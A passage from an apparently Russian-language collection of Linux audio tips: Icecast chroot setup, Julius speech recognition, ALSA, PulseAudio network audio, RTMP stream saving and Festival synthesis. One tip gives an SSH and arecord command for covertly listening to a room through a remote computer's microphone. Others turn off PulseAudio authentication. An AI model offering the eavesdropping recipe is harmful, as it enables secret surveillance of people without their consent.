    На клиентской машине создаем "чистый" файл ключа:
    
        ssh-keygen -t rsa
       (на все вопросы отвечаем ENTER)
    
    После этого вход на этот комп осуществляется как:
    
       ssh root@АДРЕС_ХОСТА
    
    И соответственно перезарузка:
    
       ssh root@АДРЕС_ХОСТА reboot
    
    и остановка
    
       ssh root@АДРЕС_ХОСТА poweroff
    
     
    ----* Настройка потокового аудиовещания при помощи Icecast2.3.3-kh5 в Chroot (доп. ссылка 1) (доп. ссылка 2)   Автор: Grand piano  [комментарии]
     
    Есть задачи:
    Установка icecast2.3.3-kh5 на Centos 6 x64.
    Настройка icecast на 80 порт.
    
    Почему такой выбор продукта и операционной системы - сборка KH явно превосходит
    по своей функциональности базовую. Дьявол кроется в деталях, погружаться в тему
    можно на профильных форумах. CentOS - это сейчас стандарт де факто для Unix
    серверов в нашей организации, поэтому опять же без обсуждения.
    
    В репозиториях именно этой модификации icecast нет. Или я так и не смог найти.
    В итоге, загрузил исходники с http://karlheyes.github.com/ , распаковал, собрал, поставил.
    
       yum install curl-devel libtheora-devel libvorbis-devel  libxslt-devel speex-devel 
       yum groupinstall 'Development Tools'
       tar xzf icecast2.3.3-kh5
       cd icecast-2.3.3-kh5
       ./configure
       make
       make install
    
    не стал использовать rpmbuild - почему то не захотел собираться нормально.
      
    Начал пытаться запускать. На 8000 порту всё взлетает, но как только меняешь на
    80 всё останавливается и говорит, что под root на 80 никого не пущу. Ладно
    будем chrootить, благо эта опция есть к конфигурационном файле. Вот на этом
    месте начинается самое интересное.
    
    1) Chroot сам по себе прост и банален, но приходиться давать массу прав на
    массу директорий и дополнительных перенаправлений.
    
    2) Конфигурацию выкладываю - она рабочая, не добавлены только точки
    монтирования и всякие мелкие нужности - пароли и т.д.
    
      <blockquote>
      <icecast>
        <location>UK</location>
        <admin>webmaster@localhost</admin>
    
        <limits>
            <clients>100</clients>
            <sources>2</sources>
            <queue-size>524288</queue-size>
            <client-timeout>30</client-timeout>
            <header-timeout>15</header-timeout>
            <source-timeout>10</source-timeout>
            <!-- same as burst-on-connect, but this allows for being more
                 specific on how much to burst. Most people won't need to
                 change from the default 64k. Applies to all mountpoints  -->
            <burst-size>65535</burst-size>
            <!--
            <max-bandwidth>100M</max-bandwidth>
            -->
        </limits>
    
        <authentication>
            <!-- Sources log in with username 'source' -->
            <source-password>hackme</source-password>
            <!-- Relays log in username 'relay' -->
            <relay-password>hackme</relay-password>
    
            <!-- Admin logs in with the username given below -->
            <admin-user>admin</admin-user>
            <admin-password>hackme</admin-password>
        </authentication>
    
        <!-- Uncomment this if you want directory listings -->
        
        <directory>
            <yp-url-timeout>15</yp-url-timeout>
            <yp-url>http://dir.xiph.org/cgi-bin/yp-cgi<;/yp-url>
        </directory>
        
    
        <!-- This is the hostname other people will use to connect to your server.
        It affects mainly the urls generated by Icecast for playlists and yp
        listings. -->
        <hostname>localhost</hostname>
    
        <!-- set the mountpoint for a shoutcast source to use, the default if not
             specified is /stream but you can change it here if an alternative is
             wanted or an extension is required
        <shoutcast-mount>/live.nsv</shoutcast-mount>
        -->
    
        <!-- port to use when talking to YP etc -->
        <port>80</port>
    
        <!-- You may have multiple <listener> elements -->
        <listen-socket>
            <port>80</port>
            <!-- <bind-address>127.0.0.1</bind-address> -->
            <!-- use <shoutcast-mount> in here to implicitly define port n+1 -->
        </listen-socket>
        <!--
        <listen-socket>
            <port>8001</port>
            <ssl>1</ssl>
        </listen-socket>
        -->
    
        <!--<master-server>127.0.0.1</master-server>-->
        <!--<master-server-port>8001</master-server-port>-->
        <!--<master-update-interval>120</master-update-interval>-->
    
        <!--<master-username>hackme</master-username>-->
        <!--<master-password>hackme</master-password>-->
    
        <!-- issue above authentication for relays in slave setup -->
        <!--<master-relay-auth>1</master-relay-auth>-->
    
        <!-- setting this makes all relays on-demand unless overridden, this is
             useful for master relays which do not have <relay> definitions here.
             The default is 0 -->
        <!--<relays-on-demand>1</relays-on-demand>-->
    
    
        <!-- Request the master server to redirect new listeners to this slave
             the details passed are based on <hostname> and <port> -->
        <!--<master-redirect>1</master-redirect>-->
    
        <!-- The maximum nuber of slaves that can register for new listener redirection. -->
        <!--<max-redirect-slaves>10</max-redirect-slaves>-->
    
        <!-- Relays. State connection information, and by default 
             request inline metadata for mp3 streams if available.
             An on-demand relay will only retrieve the stream if
             there are listeners connected -->
        <!--
        <relay>
            <server>127.0.0.1</server>
            <port>8001</port>
            <mount>/example.ogg</mount>
            <local-mount>/different.ogg</local-mount>
            <on-demand>1</on-demand>
            <retry-delay>30</retry-delay>
    
            <relay-shoutcast-metadata>0</relay-shoutcast-metadata>
        </relay>
        -->
        <!-- Allow multiple master servers to be specified, tries each one in turn.
        <relay>
            <local-mount>/stream.mp3</local-mount>
            <server>a.b.c.d</server>
            <timeout>6</timeout>
            <master>
                <port>8000</port>
                <mount>/a</mount>
            </master>
            <master>
                <port>80</port>
                <mount>/</mount>
            </master>
        </relay>
        -->
    
        <!-- Only define a <mount> section if you want to use advanced options,
             like alternative usernames or passwords
             With a master/slave setup you need to define a mount in the master
             or else the server will assume that the stream is not to be made
             available to the slave.
        <mount>
            <mount-name>/*.ogg</mount-name>
    
            <username>othersource</username>
            <password>hackmemore</password>
    
            <max-listeners>1</max-listeners>
            <max-bandwidth>1000k</max-bandwidth>
            <file-seekable>0</file-seekable>
            <dump-file>/backup/live-%d-%b.ogg</dump-file>
            <burst-size>65536</burst-size>
            <fallback-mount>/example2.ogg</fallback-mount>
            <fallback-override>1</fallback-override>
            <fallback-when-full>1</fallback-when-full>
            <intro>/path/to/stream-intro.ogg</intro>
            <max-listener-duration>3600</max-listener-duration>
            <hidden>1</hidden>
            <authentication type="htpasswd">
                    <option name="filename" value="myauth"/>
                    <option name="allow_duplicate_users" value="0"/>
            </authentication>
            <on-connect>/home/icecast/bin/stream-start</on-connect>
            <on-disconnect>/home/icecast/bin/stream-stop</on-disconnect>
            <file-seekable>0</file-seekable>
        </mount>
        -->
        <!-- other auth possibilities include running a command
             to do the auth, mount, user and pass are passed via
             stdin to the program
        <mount>
        ....
            <authentication type="command">
                 <option name="listener_add" value="auth_verify"/>
            </authentication>
            
            or 
    
            for url auth, the add url needs to return a "icecast-auth-user:" http
            header for a user to authenicate. URLs are sent params via POST.
    
            <authentication type="url">
                 <option name="username" value="admin"/>
                 <option name="password" value="hackme"/>
                 <option name="handlers"        value="3" />
                 <option name="stream_auth"    value="http://myauthserver.com/scripts/auth_mount.php"/>
                 <option name="mount_add"    value="http://myauthserver.com/scripts/add_mount.php"/>
                 <option name="mount_remove" value="http://myauthserver.com/scripts/del_mount.php"/>
                 <option name="listener_add"    value="http://myauthserver.com/scripts/add_listener.php"/>
                 <option name="listener_remove" value="http://myauthserver.com/scripts/del_listener.php"/>
            </authentication>
        </mount -->
    
    
        <fileserve>1</fileserve>
    
        <paths>
            <!-- basedir is only used if chroot is enabled -->
            <basedir>/usr/local/share/icecast</basedir>
    
            <!-- Note that if <chroot> is turned on below, these paths must both
                 be relative to the new root, not the original root -->
            <logdir>/log</logdir>
            <webroot>/web</webroot>
            <adminroot>/admin</adminroot>
            <pidfile>/icecast.pid</pidfile>
            <!-- <ssl-certificate>/usr/local/share/icecast/icecast.pem</ssl-certificate> -->
            <!-- <deny-ip>/path/to/file-with-IPs</deny-ip> -->
            <!-- <allow-ip>/path/to/file-with-IPs</allow-ip> -->
            <!-- <deny-agents>/path/to/file-with-useragents</deny-agents> -->
    
            <!-- location of mime types files used for file serving -->
            <mime-types>/etc/mime.types</mime-types>
    
            <!-- Aliases: treat requests for 'source' path as being for 'dest' path
                 May be made specific to a port or bound address using the "port"
                 and "bind-address" attributes.
              -->
            <!--
            <alias source="/foo" dest="/bar"/>
              -->
            <!-- Aliases: can also be used for simple redirections as well,
                 this example will redirect all requests for http://server:port/ to
                 the status page
              -->
            <alias source="/" dest="/index.html"/>
        </paths>
    
        <logging>
            <accesslog>access.log</accesslog>
            <errorlog>error.log</errorlog>
            <!-- <accesslog_ip>1<accesslog_ip> -->
            <playlistlog>playlist.log</playlistlog>
     <loglevel>3</loglevel> <!-- 4 Debug, 3 Info, 2 Warn, 1 Error -->
           <logsize>10000</logsize> <!-- Max size of a logfile -->
            <!-- If logarchive is enabled (1), then when logsize is reached
                 the logfile will be moved to [error|access|playlist].log.DATESTAMP,
                 otherwise it will be moved to [error|access|playlist].log.old.
                 Default is non-archive mode (i.e. overwrite)
            -->
            <!-- <logarchive>1</logarchive> -->
        </logging>
    
        <security>
            <chroot>1</chroot>
            
            <changeowner>
                <user>nobody</user>
                <group>nobody</group>
            </changeowner>
            
        </security>
      </icecast>
      </blockquote>
    
    
    После этого всё заработало, но остаётся несколько вопросов:
    
    1) Установка локального времени в логах icecast - при просто chroot он использует GMT.
    Решение: создание в /usr/local/share/icecast папки etc и копирование в неё
    файла /etc/mime.types и localtime
    
    
    2) Автостарт и управление службой как положено - без костылей типа killall и
    т.д. Т.е. нужен нормальный работающий скрипт в /etc/rc/d/init.d/.
    
    Решение: скрипт был взят здесь http://lists.xiph.org/pipermail/icecast/2008-November/011358.html
    
    
    3) Ротация логов средствами операционной системы.
    Решение третьей проблемы - пока тестирую настроечный файл в /etc/logrotate.d/,
    предварительно он вот такой
    
       /usr/local/shared/icecast/log/*.log {
           rotate 30
           daily
           compress
           postrotate
        /bin/kill -HUP `cat /usr/local/shared/icecast/icecast.pid 2> /dev/null` 2> /dev/null || true
           endscript
           }
    
    
    4) Нормальная работа механизма резолвинга DNS имён самим icecast.
    Решение: ldd `which icecast` и все что он выводит копируя раскладываем по
    папочкам в chroot директории. Также нужно скопировать в chroot директорию из
    /etc/ hosts, resolv.conf nsswitch.conf.
    
    Также следуя рекомендации  сделал следующее - создал симлинк на
    конфигурационный файл. Сам файл уложен в
    /usr/local/shared/icecast/usr/local/etc/icecast.xml, а в основную директорию
    где он по дефолту лежит (/usr/local/etc/) положен симлинк на него.
    
    Ну и конечно не забудьте про iptables, или открываем 80 порт, или блокируем
    его, это уже вам самим решать.
    
    Дополнение: В процессе тестирования всплыли первые проблемы с конфигурацией.
    Достигая 4 с небольшим тысяч подключения сервер впадал в коматозное состояние.
    Старых клиентов держит, новых не принимает, административный интерфейс не
    открывает, тормозит неимоверно и т.д. При этом нагрузка в целом на сервер
    небольшая, на команды из консоли сервер реагирует нормально. Вывод - ищем
    проблемы в самом icecast. Нашёл в логах запись - "too many open files".
    Начинаем гуглить проблему - найдено здесь и здесь.
    Решаем проблему.
    Вписываем в /etc/security/limits.conf
    
       nobody - nofile 10000
    
    Отправляем icecast в ребут (всю службу).
    Проверяем cat /proc/@pid@/limits
    Обращаем внимание на строку: Max open files
    
    После проведения "боевого" тестирования получены следующие результаты:
    Нагрузка до 4500 одновременных слушателей.
    Генерируемый поток в пике - около 600Mb/s
    Нагрузка на систему в целом - load average не превышает 0,4
    Т.е. Ещё есть запас по всем параметрам. 
    
     
    ----* Система распознавания речевых команд в Linux при помощи ПО julius (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Для декодирования речевых команд можно использовать открытый проект Julius.
    
    
    Пользователи Ubuntu могут установить готовые пакеты:
    
       sudo apt-get install julius julius-voxforge
    
    Так как последний стабильный релиз Julius 4.2.1 некорректно работает с
    подсистемой ALSA, при использовании ALSA может потребоваться пересобрать код из cvs-репозитория:
    
       cvs -z3 -d:pserver:anonymous@cvs.sourceforge.jp:/cvsroot/julius co julius4
       cd julius4
       ./configure --with-mictype=alsa 
       make
    
    Микрофон можно выбрать через переменную окружения ALSADEV, например:
    
       export ALSADEV="plughw:1,0
    
    Копируем акустические модели voxforge (в случае, если был установлен пакет
    julius-voxforge модель уже установлена в /usr/share/julius-voxforge).
    
    Создаём файлы конфигурации по образу
    /usr/share/doc/julius-voxforge/examples/julian.jconf.gz. На базе sample.grammar
    и sample.voca создаём модели грамматики фраз и команды, после чего выполняем
    "mkdfa имя", например:
    
    Файл sample.voca с определением слов Shoulder, Elbow, Wrist, Grip, Light,
    on/off,   up/down, open/close:
    
    
       % NS_B
       <s>        sil
    
       % NS_E
       </s>        sil
    
       % JOINT_N
       WRIST        r ih s t
       ELBOW        eh l b ow
       SHOULDER        sh ow l d er
    
       % DEV
       LIGHT        l ay t
    
       % DEV_IN
       ON        aa n
       OFF        ao f
    
       % MANIP
       GRIP        g r ih p
    
       % M_ACT
       OPEN        ow p ax n
       CLOSE       k l ow s
    
       % DIRECTION
       UP        ah p
       DOWN      d aw n
    
       % ROTATION
       LEFT        l eh f t
       RIGHT       r ay t
    
    Файл sample.grammar с определением сочетания слов (Joint + up | down,
    Grip + open | close, Light + on | off, Left | Right):
    
       S : NS_B SENT NS_E
       SENT: JOINT_N DIRECTION
       SENT: MANIP M_ACT
       SENT: DEV DEV_IN
       SENT: ROTATION
     
    NS_E и NS_E определены как начальная и конечная пауза.
    
    Собираем модель:
    
       mkdfa sample
    
    в результате получаем набор dfa, dict и term файлы.
    
    Для распознания выполняем:
    
       julius -input mic -C julian.jconf
    
    говорим Left, Right, Shoulder Up и наблюдаем:
    
       sentence1: <s> RIGHT </s>
       sentence1: <s> LEFT </s>
       sentence1: <s> SHOULDER UP </s>
    
    Пример скрипта command.py для парсинга и запуска внешних программ при
    определении тех или иных фраз можно найти в директории /usr/share/doc/julius-voxforge/examples/controlapp
    
    
    Для распознавания фраз на русском языке можно попробовать использовать
    акустическую модель с сайта
    http://www.repository.voxforge1.org/downloads/Russian/Trunk/ , но судя по всему
    она пока мало пригодна к использованию.
    
     
    ----* Подключение нескольких звуковых плат через ALSA (доп. ссылка 1) (доп. ссылка 2)   Автор: Max Tyslenko  [комментарии]
     
    При наличии в системе 2 звуковых плат, встроенной и внешней, Kubuntu по
    умолчанию для работы выбрала встроенную. Переключить вывод на внешнюю карту
    можно через GUI-конфигуратор "Параметры системы" / "Мультимедиа", но интерес
    представляет способ изменения активной карты из консоли.
    
    В помощь нам придет утилита: asoundconf
    
        $ asoundconf
        Usage:
        asoundconf is-active
        asoundconf get|delete PARAMETER
        asoundconf set PARAMETER VALUE
        asoundconf list
    
        Convenience macro functions:
        asoundconf set-default-card PARAMETER
        asoundconf reset-default-card
        asoundconf set-pulseaudio
        asoundconf unset-pulseaudio
        asoundconf set-oss PARAMETER
        asoundconf unset-oss
    
    Для переключения активной карты воспользуемся командой:
    
        $ asoundconf set-default-card PARAMETER
    
    Вместо параметра PARAMETER нужно указать имя звуковой карты, узнать которое можно через команду:
    
        $ asoundconf list
        Names of available sound cards:
        NVidia
        Intel
    
    В итоге выполняем:
    
        asoundconf set-default-card NVidia
    
    Второй способ - внести изменения в файл конфигурации ~/.asoundrc (локальный для
    пользователя) или /etc/asound.conf, в котором прописать:
    
       pcm.!default {
           type hw
           card NVidia
       }
    
    
    идентификатор карты можно посмотреть выполнив:
    
       cat /proc/asound/cards
    
    Дополнительно можно указать параметр "device", в котором привести номер
    устройства вывода (колонки, наушники и т.п.). Список устройств можно посмотреть
    через команду:
    
       cat /proc/asound/devices
    
    Прослушать заданный файл через определенное устройство можно, например, так:
    
       aplay -D hw:0,2 file.wav
    так
       aplay -D plughw:0,0 file.wav
    или так
       mplayer file.wav -ao alsa:device=hw=0.0
    
     
    ----* Решение проблемы с излишней нагрузкой на CPU при использовании TeamSpeak 3 в Ubuntu 9.10 (доп. ссылка 1)   Автор: SolarWind  [комментарии]
     
    При установке клиента TeamSpeak 3, программы для коллективного голосового
    общения, в Ubuntu 9.10 обнаружилась весьма неприятная особенность. Буквально
    через несколько минут использования TeamSpeak начинал сильно нагружать
    процессор. Доходило до 100% загрузки нескольких ядер. При этом программа
    начинала глючить и звук со временем прерывался совсем.
    
    Как выяснилось, проблема заключается в PulseAudio. Причем в Ubuntu 10.04 она уже исправлена.
    
    Для решения проблемы в устанавливаем последнюю сборку PulseAudio из PPA-репозитория:
    
       sudo add-apt-repository ppa:ubuntu-audio-dev/ppa
       sudo apt-get update && sudo apt-get dist-upgrade
    
     
    ----* Вывод аудио с Linux/Unix PC на Windows PC   Автор: Artem Tashkinov  [комментарии]
     
    Иногда может возникнуть потребность вывести звук с Linux/FreeBSD/Unix
    компьютера на Windows компьютер. Сделать это безболезненно можно с помощью
    Pulse Audio.
    
    Как это осуществить:
    
    1. Скачайте Windows версию pulseaudio (http://www.cendio.com/pulseaudio/),
    pulseaudio-0.9.6-1.win32.zip (911 KiB).
    
    2. Распакуйте этот архив и создайте в папке с pulseaudio файл default.pa со следующим содержимым:
    
       load-module module-native-protocol-tcp listen=0.0.0.0 auth-anonymous=1
       load-module module-waveout
    
    3. Запустите файл pulseaudio.exe
    
    4. Добавьте pulseaudio.exe в список исключений брэндмауэра Windows или
    разрешите входящие соединения на порт 4713.
    
    5. На вашем Linux компьютере в файле /etc/pulse/client.conf добавьте следующую строку:
    
       default-server = 192.168.0.10
    
    заменив 192.168.0.10 на IP адрес Windows компьютера.
    
    Если у вас правильно настроен PulseAudio в Linux, то всё должно сразу заработать.
    
     
    ----* Как сохранить локально медиа-поток в формате RTMP   [комментарии]
     
    К сожалению в сети часто встречаются сайты отдающие аудио в RTMP формате, при
    этом через предлагаемый Flash-плеер прослушать такие потоки не всегда удается
    (в моем случае в произвольном месте трансляция прерывалась и начиналась с
    начала). Для решения данной проблемы можно попытаться сохранить RTMP поток локально.
    
    Рассмотрим процесс локального сохранения записей, на примере архива staroeradio.ru.
    
    
    Загружаем и собираем пакет rtmpdump (http://rtmpdump.mplayerhq.hu/):
    
       wget http://rtmpdump.mplayerhq.hu/download/rtmpdump-2.3.tgz
       tar xzf rtmpdump-2.3.tgz
       cd rtmpdump-2.3
       make
    
    Пользователи Ubuntu могут поставить rtmpdump из PPA
    https://edge.launchpad.net/rtmpdump Кроме того, вместо rtmpdump можно
    использовать урезанный форк flvstreamer
    (http://savannah.nongnu.org/projects/flvstreamer), который доступен из
    стандартных репозиториев.
    
    В итоге будут собраны три программы: rtmpdump для непосредственной загрузки
    потока и rtmpsuck и rtmpsrv для определения параметров потока.
    
    Сперва для получения параметров потока была предпринята попытка использовать
    Wireshark. Запускаем Wireshark. Выбираем активный сетевой интерфейс и в поле
    фильтра указываем "rtmpt". Начинаем проигрывание потока штатным flash-плеером
    через браузер.  В списке перехваченных пакетов в Wireshark находим "Handshake
    part 3". В нижних полях с детализацией раскрываем "Real Time Messagins
    Protocol",  далее "RTMP Body" и "AMF Objects". Переписываем себе пары
    параметров из полей "AMF string", такие как
    
       app = vod
       flashVer = LNX 10,1,103,19
       swfUrl  = http://www.staroeradio.ru/sr-player32.swf
       tcUrl = rtmp://server.audiopedia.su/vod
    
    при этом обращаем внимание на появляющийся в нижней части hex-дамп, так как
    некоторые строки могут отобразиться в обрезанном виде. Далее, ищем ниже по
    списку перехваченный пакет "Ping | Invoke" для  определения имени потока.
    Находим в hex-дампе упоминание команды play и указанного рядом потока: "mp3:disk2/32".
    
    Для выявления идентификатора конкретного потока можно посмотреть передаваемые
    flash-плееру параметры, там будет примерно такая строка "<param
    name="FlashVars" value="mp3ID=17139" />. 17139 также фигурирует в пути
    изначально проигрываемой страницы "http://www.staroeradio.ru/audio/disk2/32/17139"
    
    В итоге получаем путь: "rtmp://server.audiopedia.su/vod/mp3:disk2/32/17292"
    
    Пытаемся инициировать загрузку:
    
       ./rtmpdump -r "rtmp://server.audiopedia.su/vod/" --playpath "mp3:disk2/32/17292" \
       --swfUrl "http://www.staroeradio.ru/sr-player32.swf" --tcUrl "rtmp://server.audiopedia.su/vod" \
       --pageUrl "http://www.staroeradio.ru/audio/17139" \
       --app vod --swfVfy "http://www.staroeradio.ru/sr-player32.swf" -o test.flv
    
    Вываливается ошибка.... Забегая вперед скажу, что она связана с неправильным
    определением идентификатора потока, в котором вместо цифрового идентификатора
    (17139) нужно было указать имя файла, набранного русскими буквами, которые не
    отобразились как следует в Wireshark.
    
    Воспользуемся более правильным методом, основанном на поднятии собственного
    RTMP-сервера и перенаправления на него трафика.
    
    Настраиваем редирект RTMP-трафика на локальный обработчик:
    
       sudo iptables -t nat -A OUTPUT -p tcp --dport 1935 -j REDIRECT --to-ports 1935
    
    Смотрим параметры первичного запроса, запускаем:
    
       ./rtmpsuck
       RTMP Proxy Server v2.3
       Streaming on rtmp://0.0.0.0:1935
    
    Теперь инициируем проигрыванием потока в браузере и видим:
    
       Processing connect
       app vod
       flashVer: LNX 10,1,103,19
       swfUrl: http://www.staroeradio.ru/sr-player32.swf
       tcUrl: rtmp://server.audiopedia.su/vod
       pageUrl: http://www.staroeradio.ru/audio/17292
    
    Для получения более полных данных запускаем RTMP-сервер:
    
       ./rtmpsrv
       RTMP Server v2.3
       Streaming on rtmp://0.0.0.0:1935
    
    Еще раз инициируем проигрыванием потока в браузере и видим:
    
       rtmpdump -r "rtmp://server.audiopedia.su/vod" -a "vod" -f "LNX 10,1,103,19" 
       -W "http://www.staroeradio.ru/sr-player32.swf" -p "http://www.staroeradio.ru/audio/17292" 
       -y "mp3:disk2/32 [skip]/disk2/большая коллекция/12.08.10/Н.Иванов - Мой Маяковский" -o "Н.Иванов - Мой Маяковский.flv"
    
    Убираем редирект:
    
       sudo iptables -t nat -D OUTPUT -p tcp --dport 1935 -j REDIRECT --to-ports 1935
    
    Загружаем поток в локальный файл:
    
       rtmpdump -r "rtmp://server.audiopedia.su/vod" -a "vod" -f "LNX 10,1,103,19" \
         -W "http://www.staroeradio.ru/sr-player32.swf" -p "http://www.staroeradio.ru/audio/17292" \
         -y "mp3:disk2/32 [skip]/disk2/большая коллекция/12.08.10/Н.Иванов - Мой Маяковский" -o test.flv
    
    Все работает !
    
    При массовой загрузки файлов запускать каждый раз редирект на rtmpsrv неудобно.
    В процессе запуска flash-плеера со страницы ему передается только цифровой
    идентификатор, на основании которого вычисляется полный путь к песне. Недолгие
    эксперименты с tcpdump показали, что преобразование ID в имя композиции
    производится через обращение к сервису
    http://server.audiopedia.su:8888/getmp3parms.php?mp3id=N, где N - известный идентификатор.
    
    
    Получить полное имя композиции можно примерно так:
    
       curl http://server.audiopedia.su:8888/getmp3parms.php?mp3id=17292
    
       <?xml version="1.0" encoding="UTF-8"?>
       <mp3>
          <fname>Н.Иванов - Мой   Маяковский.mp3</fname>
          <fullname>Н.Иванов - Мой Маяковский</fullname>
          <dir>disk2/большая коллекция/12.08.10</dir>
          <length>396</length><lowqualitydir>disk2/32 [skip]/</lowqualitydir>
       </mp3>
    
    Поле <lowqualitydir> определяет дополнение к адресу для потока низкого
    качества. Если убрать из пути "disk2/32 [skip]" то поток будет грузиться не 32
    kbit, а 128 kbit.
    
    Преобразование загруженного в mp3:
    
       ffmpeg -i 17292.flv -ab 128k -acodec copy 17292.mp3
    
    PS. Если после загрузки в сохраненном потоке наблюдаются спонтанные сбои
    позиционирования (повторы и скачки позиционирования) то при запуске rtmpdump
    следует использовать флаг "--live".
    
     
    ----* Удаленное воспроизведение звука средствами PulseAudio (доп. ссылка 1)   Автор: Artem  [комментарии]
     
    Для организации вывода звука через звуковую карту на другом компьютере можно
    воспользоваться возможностями, встроенными в звуковой сервер PulseAudio.
    
    Небезопасный способ для доверительной сети.
    
    На стороне сервера, машины на которой будет выводиться звук, запускам paprefs и
    разрешаем подключение через сеть.
    
    Если paprefs не установлена, ставим из пакетов:
    
       sudo apt-get install paprefs
    
    На стороне клиента, который будет передавать звук выполняем:
    
       PULSE_SERVER=<ip сервера> <поддерживающий PulseAudio плеер>
    
    Например:
    
       PULSE_SERVER=192.168.2.3 mplayer misic.mp3
    
    Метод работает только для приложений, использующих PulseAudio для вывода звука.
    Для приложений ESound нужно установить пакет pulseaudio-esound-compat, а для
    приложений OSS программы нужно запускать через padsp, например вот так:
    
       PULSE_SERVER=192.168.2.3 padsp vlc
    
    
    Безопасный способ для тех, кто не хочет открывать PulseAudio для общего доступа по сети.
    
    Делаем перенаправление порта с локального ПК на удаленный через SSH:
    
       ssh -L4000:localhost:4000 192.168.2.3
    
    Делаем перенаправление сетевого сокета на юниксовый на сервере:
    
       socat TCP-LISTEN:4000,fork UNIX-CONNECT:/tmp/pulse-$USER/native
    
    Слушаем музыку:
    
       PULSE_SERVER=localhost:4000 paplay my_music.wav
    
     
    ----* Настройка синтеза речи в Ubuntu (доп. ссылка 1)   [комментарии]
     
    Простой рецепт по установке и использованию синтезатора речи Festival в Ubuntu:
    
    Устанавливаем festival и сопутствующие утилиты:
    
       sudo apt-get install festival speech-tools
    
    Cтавим пакет с голосом, которые занимает 186 Мб. 
    В репозитории universe Ubuntu 9.10 уже есть готовый пакет festvox-ru:
    
       sudo apt-get install festvox-ru
    
    Если используется Ubuntu 9.04 в /etc/apt/sources.list добавляем:
       deb http://ppa.launchpad.net/sergey-udaltsov/ppa/ubuntu jaunty main 
       deb-src http://ppa.launchpad.net/sergey-udaltsov/ppa/ubuntu jaunty main 
    
    Ставим:
    
       sudo apt-get install festvox-ru
    
    В остальных дистрибутива можно установить/распаковать deb-пакет с голосом из Ubuntu 9.10:
    
       sudo wget http://ubuntu.mirrors.tds.net/ubuntu/pool/universe/f/festvox-ru/festvox-ru_0.5-1_all.deb
       sudo dpkg --install festvox-ru_0.5-1_all.deb
    
    Проверяем (русский текст воспринимается только в кодировке UTF-8):
    
       festival
    
       >(SayText "Hello!")
    
    Активируем русский голос
    
       >(voice_msu_ru_nsh_clunits)
    
    Произносим русский текст:
    
       >(SayText "Привет!")
       >(exit)
    
    Читаем содержимое файла:
    
       festival -b '(begin (voice_msu_ru_nsh_clunits) (tts_file "./file.txt"))'
    
    Сохранить результат в файл:
    
       text2wave -eval '(voice_msu_ru_nsh_clunits)' ./file.txt -o ./file.wav
    
    Чтобы заработало:
    
       cat file.txt | festival --tts --language russian
    или
       festival --tts --language russian file.txt
    
    Нужно в файл /usr/share/festival/languages.scm перед строкой "(define
    (select_language language)" добавить (по аналогии с другими языками):
    
       (define (language_russian)
       "(language_russian)
       Set up language parameters for Russian"
          (set! male1 voice_msu_ru_nsh_clunits)
          (male1)
          (Parameter.set `Language `russian)
       )
    
    В блок "(define (select_language language)" добавляем:
    
       ((equal? language `russian)
       (language_russian))
    
     
    ----* Настройка вывода звука через WiFi с ноутбука на стационарный ПК с hi-fi аккустикой (доп. ссылка 1)   Автор: Mikko Talvi  [комментарии]
     
    Инструкция для Ubuntu.
    
    Установить необходимые пакеты:
       sudo apt-get install padevchooser paprefs pulseaudio-utils pulseaudio pulseaudio-esound-compat pulseaudio-module-udev
    
    Запускаем paprefs:
    
      sudo paprefs
    
    Расставить галочки на стороне сервера:
    
       [*] Make discoverable PulseAudio network sound devices available locally
       [*] Enable network access to local sound devices
       [*] Allow other machines on the LAN to discover local sound devices
       [*] Don't require authentication
    
    На стороне клиента (для вещания на localhost):
    
       [*] Enable network access to local sound devices
       [*] Allow other machines on the LAN to discover local sound devices
       [*] Don't require authentication
    
    Теперь запустив padevchooser можно выбрать текущий звуковой сервер PulseAudio.
    
    PS1: Поскольку PulseAudio запускается в пространстве пользователя, то требуется
    залогиненный в Gnome пользователь и там и там. Опять же можно сделать
    глобальный сервер при необходимости.
    
    PS2: Можно сделать рассылку звука и через multicast, но у меня  это страшно тормозило.
    
     
    ----* Передача звука с микрофона по сети (доп. ссылка 1)   Автор: ffsdmad  [комментарии]
     
    Потребовалось незаметно прослушать, что происходит в удалённом помещении в
    котором находился компьютер в Linux, с настроенным ssh и Web камерой.
    
    
    Для чтения с устройства hw:2,0, с временем прерывания 5 секунд, в формате wav
    нужно использовать команду:
    
       arecord -F 5 -D hw:2,0 -t wav -f dat -c 1
    
    имя устройства можно узнать так:
    
       cat /proc/asound/pcm
       01-00: SAA7134 PCM : SAA7134 PCM : capture 1
       00-01: AD198x Digital : AD198x Digital : playback 1
       00-00: AD198x Analog : AD198x Analog : playback 1 : capture 1
       02-00: USB Audio : USB Audio : capture 1
    
    Для преобразование в mp3 потока из stdin и выводе результата в stdout:
    
       lame -
    
    Для проигрывания mp3 потока с stdin
    
       mpg123 -
    
    В итоге команда для прослушивания выглядит так:
    
       ssh user@host "arecord -F 5 -D hw:2,0 -t wav -f dat -c 1 | lame -" | mpg123 -
    
    или
    
       ssh user@host "arecord -F 5 -D hw:2,0 -t wav -f dat -c 1 | lame -" > listening.mp3
    
    При подключение к host запускается команда записи с микрофона, конвертирования
    и записи потока "звука" в stdout который передаётся через ssh на локальный
    компьютер, на котором этот поток направляется в mp3 проигрыватель или файл
    
     
    ----* Как вырезать звуковую дорожку из видео в отдельный файл (доп. ссылка 1)   Автор: Kroz  [комментарии]
     
    Эта простая функция реализуется через ffmpeg :
    
       ffmpeg -i input.avi -vn output.mp3
    
    или для wmv:
    
       ffmpeg -i input.wmv -vn -acodec copy output.wma
    
    преобразуем wma в mp3
    
       mplayer -quiet -vo null -vc dummy -af volume=0,resample=44100:0:1 -ao pcm:waveheader:file=output.wav output.wma
       lame -V0 -h -b 192 --vbr-new output.wav output.mp3
    
     
    ----* Разделение однофайловой копии аудио CD на треки (доп. ссылка 1)   [комментарии]
     
    Разбиение на отдельные файлы "lossless" копии аудиодиска в формате ape, flac,
    wv или wav по индексному cue-файлу.
    
    
    В Debian/Ubuntu устанавливаем пакеты shntool (для получения утилиты shnsplit) и
    cuetools (для cuebreakpoints):
    
       sudo apt-get install cuetools shntool
    
    Устанавливаем поддержку lossless кодеков:
    
       sudo apt-get install flac wavpack
    
    Выделяем треки из sample.flac на основании индекса sample.cue, результат
    кодируем кодеком без потерь flac:
    
       cuebreakpoints sample.cue | shnsplit -a "sample" -o flac sample.flac
    
    При желании можно указать вместо "-o flac" - "-o wav", "-o mp3" или "-o ogg".
    Опция "-a sample" задает имя префикса для сохраняемой группы файлов, иначе
    будет использован префикс "split-track".
    
    Для переноса мета-тегов из исходного файла нужно использовать скрипт cuetag из пакета cuetools:
    
